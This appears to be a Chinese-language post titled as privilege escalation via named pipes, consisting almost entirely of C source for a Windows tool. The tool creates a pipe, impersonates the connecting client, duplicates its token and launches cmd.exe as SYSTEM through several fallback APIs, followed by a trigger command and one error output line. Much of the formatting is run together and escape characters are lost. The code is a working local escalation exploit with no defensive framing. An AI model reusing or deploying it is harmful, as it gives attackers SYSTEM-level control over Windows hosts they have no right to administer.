利用命名管道进行权限提升

#include "stdafx.h"
#define SERVICE_NAME "Elevate"#define PIPE_PATH "\\.\pipe\elevate"
int main(){  char directory[_MAX_PATH];  char servicePath[_MAX_PATH];  char serviceName[128];  char recv[1024];  DWORD bytes;  bool connected;  HINSTANCE hinst;  STARTUPINFOA si;  PROCESS_INFORMATION pi;  HANDLE token;  HANDLE newtoken;  HANDLE ptoken;

  HANDLE namedPipe = CreateNamedPipeA(PIPE_PATH,     PIPE_ACCESS_DUPLEX,     PIPE_TYPE_MESSAGE | PIPE_WAIT,     PIPE_UNLIMITED_INSTANCES,     1024,     1024,     0,     NULL    );
  if (namedPipe == INVALID_HANDLE_VALUE) {    printf("[!] Could not create named pipen");    return 0;  }  else {    printf("[*] Named pipe created: %sn", PIPE_PATH);  }    srand(GetTickCount());    connected = ConnectNamedPipe(namedPipe, NULL) ? TRUE : (GetLastError() == ERROR_PIPE_CONNECTED);    ZeroMemory(&si, sizeof(si));  si.cb = sizeof(si);  ZeroMemory(&pi, sizeof(pi));
  if (connected) {    for (;;) {      printf("[*] Waiting for pipe connection...n");
      ZeroMemory(recv, sizeof(recv));
      // 读取客户端连接信息      ReadFile(namedPipe, recv, sizeof(recv), &bytes, NULL);
      printf("[*] Read %d Bytes: %sn", bytes, recv);
      printf("[*] Attempting to impersonate clientn");      if (ImpersonateNamedPipeClient(namedPipe) == 0) {        printf("[!] Error impersonating clientn");        return 0;      }            if (!OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, FALSE, &token)) {        printf("[!] Error opening thread tokenn");      } 
      if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &ptoken)) {        printf("[!] Error opening process tokenn");      }
      if (!DuplicateTokenEx(token, TOKEN_ALL_ACCESS, NULL, SecurityDelegation, TokenPrimary, &newtoken)) {        printf("[!] Error duplicating thread tokenn");      }            printf("[*] Impersonated SYSTEM user successfullyn");      if (!CreateProcessAsUserA(newtoken, NULL, "cmd.exe", NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi)) {        printf("[!] CreateProcessAsUser failed (%d), trying another method.n", GetLastError());
        ZeroMemory(&si, sizeof(si));        si.cb = sizeof(si);        ZeroMemory(&pi, sizeof(pi));
                // 使用CreateProcessAsUser API提权失败的情况下，使用CreateProcessWithTokenW 函数        if (!CreateProcessWithTokenW(newtoken, LOGON_NETCREDENTIALS_ONLY, NULL, L"cmd.exe", NULL, NULL, NULL, (LPSTARTUPINFOW)&si, &pi)) {          printf("[!] CreateProcessWithToken failed (%d), trying another method.n", GetLastError());
                    ZeroMemory(&si, sizeof(si));          si.cb = sizeof(si);          ZeroMemory(&pi, sizeof(pi));          if (!CreateProcessAsUserW(newtoken,NULL,L"cmd.exe",NULL,NULL,TRUE,0,NULL,NULL,(LPSTARTUPINFOW)&si,&pi)) {            printf("[!] CreateProcessAsUserW failed (%d).n", GetLastError());
            return 0;          }          return 0;        }      }      printf("[*] All Done.. enjoy... press any key to finishn");      getchar();      return 0;    }  }    return 0;}

echo hello >> \.pipeelevate

[!] CreateProcessAsUser failed (1314), trying another method.